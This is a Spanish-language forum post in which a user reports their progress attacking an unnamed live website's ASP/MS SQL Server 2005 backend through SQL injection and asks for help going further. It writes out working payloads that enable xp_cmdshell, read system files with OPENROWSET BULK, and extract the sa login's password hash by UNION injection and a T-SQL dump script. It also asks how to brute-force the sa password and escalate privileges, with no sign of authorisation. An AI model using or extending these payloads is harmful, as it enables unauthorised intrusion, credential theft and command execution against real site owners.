furtiworld
Desconectado
Mensajes: 2
|
Gracias por la respuesta y el link que me mandas.
Si, he leido valores de datos. Explico un poco algunas de las pruebas que he hecho:
He visto las diferentes BD que tiene: la BD de la aplicacion, master, model, tempbd, y msdb. Los usuarios: sa y el usuario de la aplicacion (no digo el nombres del usuario y nombre BD xq delataria la web que es xD).Como sysadmin solo hay el sa.
He ejecutado comandos exec con el ";" tal y como comentas, y no recibo errores, es decir, me devuelve lo mismo que sin inyeccion. Y si escribo mal exec (por ejemplo exe) me lanza un error, por lo tanto deduzco que como minimo intenta ejecutar alguna cosa... El problema es que no se la forma de poder leer el resultado de la ejecución! Es decir, como puedo sacar por pantalla el resultado de los comandos que intento lanzar? Por eso hablaba de probar de meter el resultado en una variable y pasarlo a uno de los campos de texto que puedo leer, pero no se hacerlo.
Otra aclaración es que es MsSQL Server 2005, con lo cual xp_ esta desactivado, pero he lanzado los comandos para activarlo, aunque no he podido ver los resultados que ha devuelto(como he dicho antes), pero no ha dado error:
;EXEC+sp_configure+'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
Otra prueba que he hecho es la de probar de leer un archivo con: Openrowset( Bulk 'C:\WINDOWS\system32\drivers\etc\hosts', Single_Clob), pero no tengo permisos (he leido que deberia ser bulkadmin o algo asi): Microsoft OLE DB Provider for SQL Server error '80040e14'
No tiene permiso para utilizar la instrucción de carga masiva.
/asesoria_fitxa.asp, línea 5
Tambien he probado de obtener el hash del usuario sa, pero me devuelve el campo vacio... es eso que no tiene password?? asesoria_fitxa.as?Id=-1/**/union/**/all/**/SELECT/**/%271%27,%272%27,%273%27,%274%27,%275%27,%276%27,%277%27,%278%27,%279%27,%2710%27,%2711%27,%2712%27,%2713%27,%2714%27,%2715%27,%2716%27,%2717%27,%2718%27,%2719%27,%2720%27,%2721%27,%2722%27,%2723%27,%2724%27,%2725%27,%2726%27,%2727%27,%2728%27,%2729%27,%2730%27,%2731%27,%2732%27,%2733%27,%2734%27,%2735%27,%2736%27,%2737%27,%2738%27,%2739%27,%2740%27,%2741%27,%2742%27,%2743%27,SUBSTRING(master.dbo.fn_varbintohexstr(password_hash),1,256),%2745%27,%2746%27,%2747%27,%2748%27,%2749%27,%2750%27,%2751%27,%2752%27,%2753%27,%2720101024%27FROM%20master.sys.sql_logins%20where+name=%27sa%27--
He probado tambien con: '; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = '0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end --
Pero me da error de sintaxis: Microsoft OLE DB Provider for SQL Server error '80040e14'
Sintaxis incorrecta cerca de 'SUBSTRING'.
/asesoria_fitxa.asp, línea 5
Que mas puedo probar? Hay algo para automatizar el brute force del password del sa (he probado sqlmap, pangolin, bobcat y no lo consigo)? Puedo usar openrowset para escalar privilegios de alguna forma? Y sobretodo, lo que me interesaria es poder ver por pantalla el resultado de los exec, para saber si realmente estoy ejecutando algo...
Muchas gracias!
EDITO: Respecto al tema bulkadmin, he visto que el sa ademas de sysadmin es bulkadmin, por lo que entiendo que pudiendome logear como sa, podria hacer el BULK...: CONVERT(varchar(10),is_srvrolemember('bulkadmin', 'sa')) devuelve 1.
Asi que quizas deberia entender como hacer un bruteforce al password del sa (ya he comentado que el codigo me ha devuelto el campo vacio y no se si esto puede ser...) y como loguearme como sa para ejecutar el comando openrowset bulk.
|